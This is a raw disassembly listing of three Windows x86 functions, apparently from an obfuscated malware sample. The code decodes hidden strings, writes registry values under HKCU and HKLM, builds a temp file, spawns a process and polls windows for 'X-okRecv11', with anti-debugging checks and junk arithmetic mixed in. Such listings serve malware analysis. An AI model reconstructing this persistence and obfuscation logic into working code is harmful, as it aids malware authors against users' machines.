		add	byte ptr [ebp+var_30078+3], 1
		push	ebx
		call	sub_40C884	; LocalFree
		mov	word ptr [ebp+var_30078], 52A5h
		inc	word ptr [ebp+var_30078]
		mov	[ebp+var_3001C], 1

loc_405571:				; CODE XREF: sub_4054C8+79j
		push	[ebp+arg_C]
		call	sub_40C95C	; lstrlen
		mov	[ebp+var_30078], eax
		mov	eax, 64h
		mul	[ebp+var_10004]
		mov	[ebp+var_3007C], eax
		mov	edi, [ebp+var_30078]
		imul	edi, [ebp+var_30078], 32h
		mov	esi, [ebp+var_3007C]
		lea	edi, [esi+edi+1000h]
		push	edi
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	[ebp+var_20008], eax
		call	sub_40C734	; GetCurrentProcessId
		lea	edi, [ebp+var_30051]
		lea	esi, aQcfdx	; "QcfdX'"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_30054]
		lea	esi, aNy	; "NY"
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_0]
		push	104h
		call	sub_40C7B8	; GetTempPathA
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30080], eax
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_405603:				; CODE XREF: sub_4054C8+140j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405603
		mov	edi, eax
		mov	esi, 19h
		sub	esi, dword_44229C
		push	esi
		mov	esi, [ebp+var_30080]
		add	esi, edi
		push	esi
		call	sub_40172F
		add	esp, 8
		call	sub_40C7D0	; GetVersion
		push	4
		push	offset byte_447377
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+arg_0]
		call	sub_40CC74
		add	esp, 8
		mov	eax, dword_4422C4
		mov	[ebp+var_30058], eax
		push	6
		push	offset dword_447370
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		lea	edi, [ebp+var_3005B]
		lea	esi, byte_4422C8
		mov	ecx, 3
		rep movsb
		push	6
		push	offset byte_447369
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	eax, dword_4422CB
		mov	[ebp+var_3005F], eax
		push	13h
		push	offset byte_447355
		call	sub_405138
		add	esp, 8
		push	[ebp+arg_1C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 10h
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		push	7
		push	offset word_44733E
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_30021], 51h
		sub	[ebp+var_30021], 7Ch
		push	6
		push	offset byte_447337
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		call	sub_40C7C4	; GetTickCount
		lea	edi, [ebp+var_30064]
		lea	esi, a70cg	; "70cg"
		mov	ecx, 5
		rep movsb
		push	5
		push	offset byte_447331
		call	sub_405138
		add	esp, 8
		mov	[ebp+var_30084], eax
		call	sub_40CC38
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30084]
		push	[ebp+var_30084]
		lea	edi, [ebp+var_3002B]
		push	edi
		call	sub_40CC50
		add	esp, 0Ch
		call	sub_40C854	; IsDebuggerPresent
		push	2Ah
		push	offset word_447306
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_3002B]
		push	edi
		push	[ebp+arg_8]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 10h
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_3002C], 0CAh
		movzx	eax, [ebp+var_3002C]
		imul	eax, 1107h
		mov	[ebp+var_3002C], al
		push	2Dh
		push	offset dword_4472D8
		call	sub_405138
		add	esp, 8
		mov	[ebp+var_30088], eax
		call	sub_40CC38
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 14h
		push	edi
		mov	edi, [ebp+var_30088]
		push	[ebp+var_30088]
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 0Ch
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_30030], 7FDh
		add	[ebp+var_30030], 38E3h
		cmp	[ebp+var_3001C], 0
		jnz	loc_405B6E
		call	sub_40C734	; GetCurrentProcessId
		cmp	[ebp+arg_18], 0
		jz	loc_4059C5
		lea	edi, [ebp+var_3008D]
		lea	esi, byte_4422D4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		and	[ebp+var_3008C], 0
		jmp	loc_4059A8
; ---------------------------------------------------------------------------

loc_405896:				; CODE XREF: sub_4054C8+4ECj
		call	sub_40C854	; IsDebuggerPresent
		mov	[ebp+var_10000], 0
		mov	ax, word_4422D5
		mov	[ebp+var_30096], ax
		and	[ebp+var_30094], 0
		jmp	loc_40594A
; ---------------------------------------------------------------------------

loc_4058BB:				; CODE XREF: sub_4054C8+48Cj
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_3008C]
		add	eax, [ebp+var_30094]
		cmp	eax, [ebp+var_10004]
		jnb	loc_40595A
		push	6
		push	offset dword_44737C
		call	sub_405138
		mov	[ebp+var_3009C], eax
		mov	edi, [ebp+var_3008C]
		add	edi, [ebp+var_30094]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_300A0], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		mov	edi, [ebp+var_3009C]
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		call	sub_40CC50
		add	esp, 1Ch
		inc	[ebp+var_30094]

loc_40594A:				; CODE XREF: sub_4054C8+3EEj
		cmp	[ebp+var_30094], 80h
		jb	loc_4058BB

loc_40595A:				; CODE XREF: sub_4054C8+40Aj
		push	30h
		push	offset byte_4472A7
		call	sub_405138
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		lea	edi, [ebp+var_10000]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 24h
		add	[ebp+var_3008C], 80h
		inc	[ebp+var_2000C]

loc_4059A8:				; CODE XREF: sub_4054C8+3C9j
		mov	eax, [ebp+var_10004]
		cmp	[ebp+var_3008C], eax
		jb	loc_405896
		mov	[ebp+var_30014], eax
		jmp	loc_405B6E
; ---------------------------------------------------------------------------

loc_4059C5:				; CODE XREF: sub_4054C8+3ABj
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_10004], eax
		jmp	loc_405B4A
; ---------------------------------------------------------------------------

loc_4059D8:				; CODE XREF: sub_4054C8+6A0j
		call	sub_40C734	; GetCurrentProcessId
		cmp	[ebp+var_10000], 0
		jz	loc_405B4A
		mov	byte ptr [ebp+var_3008C+2], 9Fh
		sub	byte ptr [ebp+var_3008C+2], 36h
		mov	eax, [ebp+arg_14]
		add	eax, 0C800h
		cmp	[ebp+var_10004], eax
		jnb	loc_405B6E
		lea	edi, [ebp+var_3009C+3]
		lea	esi, byte_4422D7
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_10004]
		mov	[ebp+var_30014], eax
		push	3
		push	offset off_4472A3
		call	sub_405138
		push	[ebp+arg_C]
		push	eax
		lea	edi, [ebp+var_3000C]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		lea	edi, [ebp+var_300A1]
		lea	esi, a9jm6N	; "'9jM6 N"
		movsd
		movsd
		lea	ecx, [ebp+var_3000C]
		or	eax, 0FFFFFFFFh

loc_405A61:				; CODE XREF: sub_4054C8+59Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405A61
		mov	edi, eax
		mov	word ptr [ebp+var_30094+2], di
		mov	word ptr [ebp+var_3008C], 45ACh
		movzx	eax, word ptr [ebp+var_3008C]
		imul	eax, 6B72h
		mov	word ptr [ebp+var_3008C], ax
		lea	eax, [ebp+var_10000]
		push	eax
		movzx	eax, word ptr [ebp+var_30094+2]
		lea	eax, [ebp+eax+var_3000C]
		push	eax
		call	sub_40C6D8
		mov	byte ptr [ebp+var_3008C+3], 0DBh
		movzx	eax, byte ptr [ebp+var_3008C+3]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	byte ptr [ebp+var_3008C+3], al
		lea	eax, [ebp+var_3000C]
		push	eax
		call	sub_4053FE
		add	esp, 4
		mov	[ebp+var_30010], eax
		push	30h
		push	offset byte_4472A7
		call	sub_405138
		add	esp, 8
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		push	[ebp+var_30010]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	dword ptr [ebp-30090h],	472Eh
		add	dword ptr [ebp-30090h],	7A98h
		push	[ebp+var_30010]
		call	sub_40C884	; LocalFree
		call	sub_40C794	; GetProcessHeap
		inc	[ebp+var_2000C]

loc_405B4A:				; CODE XREF: sub_4054C8+50Bj
					; sub_4054C8+51Cj
		lea	eax, [ebp+var_10000]
		push	eax
		push	[ebp+var_10004]
		push	ebx
		call	sub_401BB7
		add	esp, 0Ch
		mov	[ebp+var_10004], eax
		or	eax, eax
		jnz	loc_4059D8

loc_405B6E:				; CODE XREF: sub_4054C8+39Cj
					; sub_4054C8+4F8j ...
		push	1Eh
		push	offset dword_447284
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		mov	[ebp+var_30034], 2A8Eh
		add	[ebp+var_30034], 6CB3h
		push	7
		push	offset dword_44727C
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		call	sub_40C7D0	; GetVersion
		push	8
		push	offset byte_447273
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	[ebp+var_30035], 15h
		add	[ebp+var_30035], 2Fh
		lea	edi, [ebp+var_30067]
		lea	esi, aG		; ">"
		mov	ecx, 3
		rep movsb
		push	6
		push	offset dword_44726C
		call	sub_405138
		mov	[ebp+var_3008C], eax
		call	sub_40CC38
		mov	[ebp-30090h], eax
		call	sub_40CC38
		mov	ecx, 63h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-30090h]
		mov	eax, edi
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_3008C]
		push	edi
		lea	edi, [ebp+var_3003F]
		push	edi
		call	sub_40CC50
		mov	[ebp+var_30018], 0F6Ah
		movzx	eax, [ebp+var_30018]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_30018], ax
		push	0Eh
		push	offset byte_44725D
		call	sub_405138
		lea	edi, [ebp+var_3003F]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	[ebp+var_30040], 95h
		add	[ebp+var_30040], 1
		push	15h
		push	offset byte_447247
		call	sub_405138
		lea	edi, [ebp+var_3002B]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_3006C]
		lea	esi, a0A	; "0 ,a"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		call	sub_40C740	; GetCurrentThreadId
		push	1
		push	offset byte_447245
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	ax, word_4422EE
		mov	[ebp+var_3006E], ax
		push	16h
		push	offset word_44722E
		call	sub_405138
		mov	[ebp+var_30094], eax
		call	sub_40CC38
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 2710h
		push	edi
		lea	edi, [ebp+var_3003F]
		push	edi
		mov	edi, [ebp+var_30094]
		push	edi
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	[ebp+var_30041], 97h
		add	[ebp+var_30041], 3Eh
		push	9
		push	offset dword_447224
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		lea	edi, [ebp+var_30071]
		lea	esi, byte_4422F0
		mov	ecx, 3
		rep movsb
		push	7
		push	offset dword_44721C
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		call	sub_40C740	; GetCurrentThreadId
		push	7
		push	offset dword_447214
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40CC74
		call	sub_40C7C4	; GetTickCount
		push	[ebp+arg_0]
		call	sub_40341E
		add	esp, 0E4h
		mov	[ebp+var_30044], 4FFDh
		inc	[ebp+var_30044]
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_30020], eax
		mov	[ebp+var_30048], 473Dh
		add	[ebp+var_30048], 10D3h
		push	[ebp+var_20008]
		call	sub_40C95C	; lstrlen
		push	0
		lea	edi, [ebp+var_2000C]
		push	edi
		push	eax
		push	[ebp+var_20008]
		push	[ebp+var_30020]
		call	sub_40C944	; WriteFile
		push	[ebp+var_30020]
		call	sub_40C7AC	; CloseHandle
		push	[ebp+var_20008]
		call	sub_40C884	; LocalFree
		cmp	[ebp+var_3001C], 0
		jnz	short loc_405E78
		push	ebx
		call	sub_40C884	; LocalFree
		jmp	short loc_405E7D
; ---------------------------------------------------------------------------

loc_405E78:				; CODE XREF: sub_4054C8+9A6j
		or	eax, 0FFFFFFFFh
		jmp	short loc_405E83
; ---------------------------------------------------------------------------

loc_405E7D:				; CODE XREF: sub_4054C8+9AEj
		mov	eax, [ebp+var_30014]

loc_405E83:				; CODE XREF: sub_4054C8+9B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4054C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E88	proc near		; CODE XREF: sub_4061F7:loc_40632Dp

var_2124	= dword	ptr -2124h
var_2120	= byte ptr -2120h
var_1121	= byte ptr -1121h
var_130		= dword	ptr -130h
var_12B		= byte ptr -12Bh
var_126		= byte ptr -126h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= word ptr -11Ch
var_11A		= byte ptr -11Ah
var_114		= byte ptr -114h
var_10D		= byte ptr -10Dh
var_10A		= word ptr -10Ah
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		mov	eax, 2124h
		call	sub_40C6B8
		push	esi
		push	edi
		call	sub_40C764	; RtlGetLastWin32Error
		lea	edi, [ebp+var_10D]
		lea	esi, byte_4422F3
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_114]
		lea	esi, aZ0y	; ",`z:0Y"
		mov	ecx, 7
		rep movsb
		and	[ebp+var_108], 0
		mov	[ebp+var_101], 0
		jmp	loc_406024
; ---------------------------------------------------------------------------

loc_405ED5:				; CODE XREF: sub_405E88+1A4j
		call	sub_40C740	; GetCurrentThreadId
		push	44h
		push	offset byte_4471CF
		call	sub_405138
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40CC50
		call	sub_40C7D0	; GetVersion
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_40160A
		lea	edi, [ebp+var_126]
		lea	esi, aNw	; "Nw	"
		mov	ecx, 3
		rep movsw
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_40160A
		mov	[ebp+var_120], 2D0Fh
		mov	eax, 37FBh
		mul	[ebp+var_120]
		mov	[ebp+var_130], eax
		mov	[ebp+var_120], eax
		push	4Dh
		push	offset dword_44717C
		call	sub_405138
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40CC50
		call	sub_40C794	; GetProcessHeap
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_40160A
		lea	edi, [ebp+var_12B]
		lea	esi, aAy	; " ay+"
		mov	ecx, 5
		rep movsb
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_40160A
		add	esp, 0A8h
		call	sub_40C794	; GetProcessHeap
		add	[ebp+var_101], 1

loc_406024:				; CODE XREF: sub_405E88+48j
		mov	al, [ebp+var_101]
		cmp	al, 5
		jb	loc_405ED5
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_4060A2
		call	sub_40C764	; RtlGetLastWin32Error
		push	4Ch
		push	offset byte_44712F
		call	sub_405138
		mov	[ebp+var_120], eax
		push	10h
		push	offset aNskoyryklns_yo ; "~NSKOYrYKlNS_YOO"
		call	sub_405138
		mov	[ebp+var_124], eax
		push	3
		push	offset word_44711A
		call	sub_405138
		push	1
		mov	edi, 15h
		sub	edi, dword_44229C
		push	edi
		push	eax
		mov	edi, [ebp+var_124]
		push	edi
		mov	edi, [ebp+var_120]
		push	edi
		push	80000003h
		call	sub_40160A
		add	esp, 30h
		jmp	loc_406140
; ---------------------------------------------------------------------------

loc_4060A2:				; CODE XREF: sub_405E88+1B4j
		mov	ax, word_442308
		mov	word ptr [ebp+var_124+2], ax
		mov	eax, dword_44230A
		mov	[ebp+var_2124],	eax
		lea	eax, [ebp+var_1121]
		push	eax
		call	sub_40506F
		call	sub_40C794	; GetProcessHeap
		push	59h
		push	offset dword_4470C0
		call	sub_405138
		lea	edi, [ebp+var_1121]
		push	edi
		push	eax
		lea	edi, [ebp+var_2120]
		push	edi
		call	sub_40CC50
		call	sub_40C7C4	; GetTickCount
		and	[ebp+var_120], 0
		push	0Ch
		push	offset byte_4470B3
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_120]
		push	edi
		push	eax
		lea	edi, [ebp+var_2120]
		push	edi
		push	80000003h
		call	sub_40160A
		add	esp, 38h
		mov	[ebp+var_11C], 3003h
		movzx	eax, [ebp+var_11C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_11C], ax

loc_406140:				; CODE XREF: sub_405E88+215j
		push	3Bh
		push	offset byte_447077
		call	sub_405138
		mov	[ebp+var_120], eax
		push	11h
		push	offset aPsPioynszzpury ; "{PS^]PiOYNsZZPURY"
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		mov	edi, [ebp+var_120]
		push	edi
		push	80000001h
		call	sub_40160A
		lea	edi, [ebp+var_11A]
		lea	esi, aQa@	; "*Q@	"
		mov	ecx, 3
		rep movsw
		push	33h
		push	offset byte_447031
		call	sub_405138
		push	1
		push	0
		push	offset byte_447529
		push	offset byte_447529
		push	eax
		push	80000001h
		call	sub_40160A
		call	sub_40C734	; GetCurrentProcessId
		push	3Bh
		push	offset byte_446FF5
		call	sub_405138
		push	1
		push	0
		push	offset byte_447529
		push	offset byte_447529
		push	eax
		push	80000001h
		call	sub_40160A
		add	esp, 68h
		mov	[ebp+var_10A], 4809h
		sub	[ebp+var_10A], 555h
		pop	edi
		pop	esi
		leave
		retn
sub_405E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061F7	proc near		; CODE XREF: sub_4098A8+29Dp
					; sub_4098A8+647p ...

var_3DF		= byte ptr -3DFh
var_3DC		= dword	ptr -3DCh
var_3D7		= byte ptr -3D7h
var_3D6		= byte ptr -3D6h
var_2D2		= byte ptr -2D2h
var_2CD		= dword	ptr -2CDh
var_2C9		= byte ptr -2C9h
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BB		= byte ptr -2BBh
var_2B5		= byte ptr -2B5h
var_2B4		= dword	ptr -2B4h
var_2AD		= byte ptr -2ADh
var_2A5		= byte ptr -2A5h
var_29F		= byte ptr -29Fh
var_298		= byte ptr -298h
var_295		= byte ptr -295h
var_28F		= byte ptr -28Fh
var_28C		= byte ptr -28Ch
var_286		= byte ptr -286h
var_281		= dword	ptr -281h
var_27D		= byte ptr -27Dh
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= word ptr -268h
var_266		= word ptr -266h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_250		= byte ptr -250h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 3E0h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_27D]
		lea	esi, aIJ	; "%i J"
		mov	ecx, 5
		rep movsb
		and	[ebp+var_14C], 0
		mov	eax, dword_442319
		mov	[ebp+var_281], eax
		xor	ebx, ebx
		lea	edi, [ebp+var_286]
		lea	esi, aS?xv	; "S?XV"
		mov	ecx, 5
		rep movsb
		push	offset dword_4422A4
		call	sub_40C830	; InterlockedIncrement
		mov	[ebp+var_26C], eax
		mov	[ebp+var_264], 6A69h
		mov	eax, [ebp+var_264]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_264], edx
		push	10h
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_40CC20
		mov	[ebp+var_266], 6967h
		sub	[ebp+var_266], 112Ch
		mov	[ebp+var_270], 104h
		call	sub_40C794	; GetProcessHeap
		push	21h
		push	offset byte_446FD3
		call	sub_405138
		mov	[ebp+var_2B4], eax
		push	4
		push	offset aLHt	; "l]HT"
		call	sub_405138
		lea	edi, [ebp+var_28C]
		push	edi
		lea	edi, [ebp+var_270]
		push	edi
		lea	edi, [ebp+var_250]
		push	edi
		push	eax
		mov	edi, [ebp+var_2B4]
		push	edi
		push	80000002h
		call	sub_4014C9
		add	esp, 34h
		mov	[ebp+var_274], eax
		mov	[ebp+var_268], 31E9h
		sub	[ebp+var_268], 5E5h
		test	eax, eax
		jnz	short loc_40632D
		mov	[ebp+var_2B5], 0E2h
		add	[ebp+var_2B5], 1
		push	[ebp+arg_0]
		call	sub_40C884	; LocalFree
		lea	edi, [ebp+var_2BB]
		lea	esi, aDFY	; "D/f'Y"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		jmp	loc_406810
; ---------------------------------------------------------------------------

loc_40632D:				; CODE XREF: sub_4061F7+103j
		call	sub_405E88
		lea	edi, [ebp+var_28F]
		lea	esi, a6l	; "6l"
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C71C	; ExpandEnvironmentStringsA
		lea	edi, [ebp+var_295]
		lea	esi, byte_44232B
		mov	ecx, 3
		rep movsw
		push	[ebp+var_26C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_4054C8
		add	esp, 20h
		mov	[ebp+var_14C], eax
		cmp	[ebp+arg_1C], 0
		jz	short loc_4063BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4063B6
		mov	eax, [ebp+arg_1C]
		mov	edx, [ebp+var_14C]
		mov	[eax], edx
		jmp	short loc_4063BC
; ---------------------------------------------------------------------------

loc_4063B6:				; CODE XREF: sub_4061F7+1B0j
		mov	eax, [ebp+arg_1C]
		and	dword ptr [eax], 0

loc_4063BC:				; CODE XREF: sub_4061F7+1ABj
					; sub_4061F7+1BDj
		cmp	[ebp+var_14C], 0
		jnz	short loc_4063DF
		mov	eax, dword_442331
		mov	[ebp-2B8h], eax
		push	[ebp+arg_0]
		call	sub_40C884	; LocalFree
		xor	eax, eax
		jmp	loc_406810
; ---------------------------------------------------------------------------

loc_4063DF:				; CODE XREF: sub_4061F7+1CCj
		push	0Eh
		push	offset byte_446FBF
		call	sub_405138
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		lea	edi, [ebp+var_298]
		lea	esi, byte_442335
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CC74
		call	sub_40C794	; GetProcessHeap
		call	sub_4043CA
		mov	[ebp+var_278], eax
		lea	edi, [ebp+var_29F]
		lea	esi, aEnoX	; "Eno$#X"
		mov	ecx, 7
		rep movsb
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		call	sub_40C854	; IsDebuggerPresent
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		add	esp, 30h
		lea	edi, [ebp+var_2A5]
		lea	esi, a231w	; "231w-"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_148], 44h
		lea	edi, [ebp+var_2AD]
		lea	esi, aR2Oe@	; "r2#Oe%@"
		mov	ecx, 2
		rep movsd
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		cmp	[ebp+var_278], 0
		jz	short loc_4064C5
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40446E
		pop	ecx
		jmp	short loc_4064CE
; ---------------------------------------------------------------------------

loc_4064C5:				; CODE XREF: sub_4061F7+2BDj
		mov	[ebp+var_118], 0

loc_4064CE:				; CODE XREF: sub_4061F7+2CCj
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_40C974	; CreateProcessA
		or	eax, eax
		jz	loc_4067AD
		mov	eax, dword_44234D
		mov	[ebp+var_2C4], eax
		push	[ebp+var_25C]
		call	sub_40C7AC	; CloseHandle
		mov	dword ptr [ebp-2BCh], 4906h
		mov	eax, 28BCh
		mul	dword ptr [ebp-2BCh]
		mov	[ebp+var_2C8], eax
		mov	[ebp-2BCh], eax
		push	22h
		push	offset dword_446F9C
		call	sub_405138
		push	[ebp+var_26C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		mov	[ebp+var_2C0], 5F7Dh
		add	[ebp+var_2C0], 58F3h
		mov	[ebp+var_2B5], 0
		jmp	short loc_4065D0
; ---------------------------------------------------------------------------

loc_406579:				; CODE XREF: sub_4061F7+3E1j
		call	sub_40C7C4	; GetTickCount
		push	7
		push	offset aUyznQy	; "uyzN]QY"
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		call	sub_40C9B0	; FindWindowA
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4065DA
		mov	[ebp+var_2C9], 0BAh
		add	[ebp+var_2C9], 0Bh
		mov	eax, dword_44229C
		add	eax, 3D7h
		push	eax
		call	sub_40C8F0	; Sleep
		mov	eax, dword_442351
		mov	[ebp+var_2CD], eax
		add	[ebp+var_2B5], 1

loc_4065D0:				; CODE XREF: sub_4061F7+380j
		mov	al, [ebp+var_2B5]
		cmp	al, 0Ah
		jb	short loc_406579

loc_4065DA:				; CODE XREF: sub_4061F7+3A7j
		or	ebx, ebx
		jz	loc_40679F
		call	sub_40C734	; GetCurrentProcessId
		push	0EA60h
		call	sub_40C8F0	; Sleep
		call	sub_40C764	; RtlGetLastWin32Error
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40C998	; GetWindowTextA
		call	sub_40C794	; GetProcessHeap
		mov	eax, 12h
		sub	eax, dword_44229C
		push	eax
		push	offset aXOkrecv11 ; "X-okRecv11"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_406775
		lea	edi, [ebp+var_2D2]
